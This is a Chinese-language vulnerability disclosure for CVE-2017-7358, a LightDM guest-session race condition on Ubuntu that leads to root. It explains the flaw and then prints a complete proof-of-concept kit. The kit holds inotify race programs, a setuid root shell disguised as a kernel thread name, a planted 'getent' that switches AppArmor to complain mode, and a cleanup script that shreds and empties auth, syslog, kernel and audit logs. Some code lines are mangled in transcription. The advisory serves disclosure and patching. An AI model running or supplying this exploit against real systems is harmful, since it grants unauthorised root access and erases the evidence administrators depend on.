漏洞概要

以下介绍了通过在Ubuntu 16.10 / 16.04 LTS中发现的LightDM的本地提权。

Ubuntu是一个开源软件平台,可以从IoT设备,智能手机,平板电脑,PC服务器和云端运行。LightDM是一款X显示管理器,旨在轻量化,快速,可扩展和多桌面。它使用多种效果来展示前端登录界面,也称为Greeters。

独立的安全研究员G. Geshev(@munmap)已经向Beyond Security的SecuriTeam安全披露计划报告了这一漏洞

供应商回应

供应商已经发布了一个补丁来解决这个问题。

有关详细信息:https://www.ubuntu.com/usn/usn-3255-1/

CVE信息

CVE-2017-7358

漏洞详细资料

漏洞在LightDM发现,这是Ubuntu的默认桌面管理器,来宾登录功能。默认情况下,LightDM让您登录到一个会话作为临时用户。这是在“ guest-account ” 脚本中实现的。

@ubuntu:~$ ls -l /usr/sbin/guest-account

-rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account

 

@ubuntu:~$ dpkg -S /usr/sbin/guest-account

lightdm: /usr/sbin/guest-account

 

@ubuntu:~$ dpkg -s lightdm

Package: lightdm

Status: install ok installed

Priority: optional

Section: x11

Installed-Size: 672

Maintainer: Robert Ancell <[email protected]>

Architecture: amd64

Version: 1.19.5-0ubuntu1

Provides: x-display-manager

Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>= 1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6, adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14), libpam-modules, plymouth (>= 0.8.8-0ubuntu18)

Pre-Depends: dpkg (>= 1.15.7.2)

Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde-greeter

Suggests: bindfs

Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0

Conffiles:

 /etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf

 /etc/apparmor.d/abstractions/lightdm_chromium-browser e1195e34922a67fa219b8b95eaf9c305

 /etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb

 /etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf b76b6b45d7f7ff533c51d7fc02be32f4

 /etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188

 /etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e

 /etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e

 /etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9

 /etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22

 /etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf

 /etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9

Description: Display Manager

 LightDM is a X display manager that:

  * Has a lightweight codebase

  * Is standards compliant (PAM, ConsoleKit, etc)

  * Has a well defined interface between the server and user interface

  * Cross-desktop (greeters can be written in any toolkit)

Homepage: https://launchpad.net/lightdm

 

@ubuntu:~$

当您查看登录屏幕作为访客登录时,脚本将以root用户身份运行。Ubuntu的默认greeter是Unity Greeter。

易受攻击的功能是“ add_account ”。

35   temp_home=$(mktemp -td guest-XXXXXX)
36   GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')
37   GUEST_USER=${GUEST_HOME#/tmp/}
38   [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}

guest使用第35行“mktemp”创建文件夹。攻击者可以使用’ inotify ‘来监视’ /tmp ‘创建此文件夹。

文件夹名称可能包含大写和小写字母。创建此文件夹后,我们可以快速抓取文件夹名称,并创建所有字母小写的文件夹。

如果我们设法在第38行’ mv ‘命令处为我们拥有的文件夹内的访客用户创建新的home文件夹。

一旦我们有了guest home,我们就可以重命名它,并将其替换为要接管的文件夹。以下代码将会将新用户添加到操作系统。用户的主文件夹已经指向要接管的文件夹,例如’ /usr/local/sbin ‘。

useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest") --user-group --shell/bin/bash ${GUEST_USER} || {
    rm -rf ${GUEST_HOME}
    exit 1
 }

攻击者可以抓取新创建的用户ID,并监视’ /usr/local/sbin ‘以进行所有权更改。所有权将由以下“mount ” 更改。

  mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {
   rm -rf ${GUEST_HOME}
   exit 1
  }

我们将删除链接并创建一个具有相同名称的文件夹 – 让访客用户登录。访

这就是为什么我们创建一个新的链接将他的“ bin ” 指向我们控制的文件夹。这样我们可以强制让用户在他的用户ID下执行我们自己的代码。我们使用这串代码从他的会话中注销访客用户,这是我们可以获得root访问权限的地方。

注销代码将首先执行以下代码:

156  PWENT=$(getent passwd ${GUEST_USER}) || {
157    echo "Error: invalid user ${GUEST_USER}"
158    exit 1
159  }

该代码将作为脚本的所有者执行,即root。由于我们已经接管了’ /usr/local/sbin ‘,并且已经植入了我们自己的“ getent ”,所以我们可以在root目录下执行命令。

注 – 我们可以通过输入以下两个命令来触发访客会话创建脚本。

XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest

概念证明

PoC包含9个文件,利用上述条件

  1. kodek / bin / cat
  2. kodek / shell.c
  3. kodek / clean.sh
  4. kodek / run.sh
  5. kodek / stage1.sh
  6. kodek / stage1local.sh
  7. kodek / stage2.sh
  8. kodek / boclocal.c
  9. kodek / boc.c

通过运行以下脚本,攻击者可以以root权限运行命令:

@ubuntu:/var/tmp/kodek$ ./stage1local.sh 

 
@ubuntu:/var/tmp/kodek$ 
[!] GAME OVER !!!
[!] count1: 2337 count2: 7278
[!] w8 1 minute and run /bin/subash

 
@ubuntu:/var/tmp/kodek$ /bin/subash
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#

一旦获得了root shell,您可以通过执行以下操作来清理任何漏洞利用文件和日志。

root@ubuntu:/var/tmp/kodek# ./clean.sh 
/usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such file or directory
Do you want to remove exploit (y/n)?
y
/usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a directory

 
root@ubuntu:/var/tmp/kodek#

boc.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE(sizeof(struct inotify_event))
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b;
  char buffer[EVENT_BUF_LEN];
  fd = inotify_init();
  if (fd < 0) exit(0);
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  chdir("/tmp/");
  while (1) {
    length = read(fd, buffer, EVENT_BUF_LEN);
    if (length > 0) {
      event = (struct inotify_event * ) buffer;
      if (event - > len) {
        if (strstr(event - > name, "guest-") != NULL) {
          for (i = 0; event - > name[i] != '\0'; i++) {
            event - > name[i] = tolower(event - > name[i]);
          }
          if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS);
          if (event - > mask & IN_MOVED_FROM) {
            rename(event - > name, strncat(newpath, event - > name, 15));
            symlink("/usr/local/sbin/", event - > name);
            while (1) {
              count1 = count1 + 1;
              pw = getpwnam(event - > name);
              if (pw != NULL) break;
            }
            while (1) {
              count2 = count2 + 1;
              stat("/usr/local/sbin/", & info);
              if (info.st_uid == pw - > pw_uid) {
                a = unlink(event - > name);
                b = mkdir(event - > name, ACCESSPERMS);
                if (a == 0 && b == 0) {
                  printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n", count1, count2);
                } else {
                  printf("\n[!] a: %i b: %i\n[!] exploit failed !!!\n", a, b);
                }
                system("/bin/rm -rf /tmp/old.*");
                inotify_rm_watch(fd, wd);
                close(fd);
                exit(0);
              }
            }
          }
        }
      }
    }
  }
}

boclocal.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE(sizeof(struct inotify_event))
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b, c;
  char buffer[EVENT_BUF_LEN];
  fd = inotify_init();
  if (fd < 0) exit(0);
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  chdir("/tmp/");
  while (1) {
    length = read(fd, buffer, EVENT_BUF_LEN);
    if (length > 0) {
      event = (struct inotify_event * ) buffer;
      if (event - > len) {
        if (strstr(event - > name, "guest-") != NULL) {
          for (i = 0; event - > name[i] != '\0'; i++) {
            event - > name[i] = tolower(event - > name[i]);
          }
          if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS);
          if (event - > mask & IN_MOVED_FROM) {
            rename(event - > name, strncat(newpath, event - > name, 15));
            symlink("/usr/local/sbin/", event - > name);
            while (1) {
              count1 = count1 + 1;
              pw = getpwnam(event - > name);
              if (pw != NULL) break;
            }
            while (1) {
              count2 = count2 + 1;
              stat("/usr/local/sbin/", & info);
              if (info.st_uid == pw - > pw_uid) {
                a = unlink(event - > name);
                b = mkdir(event - > name, ACCESSPERMS);
                c = symlink("/var/tmp/kodek/bin/", strncat(event - > name, "/bin", 5));
                if (a == 0 && b == 0 && c == 0) {
                  printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2);
                } else {
                  printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed !!!\n[!] w8 1 minute and run it again\n", a, b, c);
                }
                system("/bin/rm -rf /tmp/old.*");
                inotify_rm_watch(fd, wd);
                close(fd);
                exit(0);
              }
            }
          }
        }
      }
    }
  }
}

clean.sh

#!/bin/bash
if [ "$(/usr/bin/id -u)" != "0" ]; then
   echo "This script must be run as root" 1>&2
   exit 1
fi
/bin/rm -rf /tmp/guest-* /tmp/old.guest-*
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern.log /var/log/audit/audit.log /var/log/lightdm/*
/bin/echo > /var/log/auth.log
/bin/echo > /var/log/syslog
/bin/dmesg -c >/dev/null 2>&1
/bin/echo "Do you want to remove exploit (y/n)?"
read answer
if [ "$answer" == "y" ]; then
/usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/*
/bin/rm -rf /var/tmp/kodek
else
exit
fi

run.sh

#!/bin/sh
/bin/cat << EOF > /usr/local/sbin/getent
#!/bin/bash
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
/bin/chmod 4111 /bin/subash >/dev/null 2>&1
COUNTER=0
while [ \$COUNTER -lt 10 ]; do
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
let COUNTER=COUNTER+1
done
/bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/usr/bin/getent passwd "\$2"
EOF
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1

shell.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
 
int main(void)
{
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    setgroups(0, NULL);
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "[bioset]", "-pi", NULL);
    return 0;
}

stage1.sh

#!/bin/bash
if [ "${PWD}" == "/var/tmp/kodek" ]; then
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
/var/tmp/boc
else
echo "[!] run me from /var/tmp/kodek"
exit
fi

stage1local.sh

#!/bin/bash
if [ "${PWD}" == "/var/tmp/kodek" ]; then
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
/var/tmp/boc &
/bin/sleep 5s
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest
else
echo "[!] run me from /var/tmp/kodek"
exit
fi

stage2.sh

#!/bin/sh
/usr/bin/systemd-run --user /var/tmp/run.sh

/bin/cat

#!/bin/sh
/usr/bin/systemd-run --user /var/tmp/run.sh
/bin/sleep 15s
/bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/head -1 | /usr/bin/awk '{ print $1 }'`

*参考:securiteam

源链接

Hacking more

...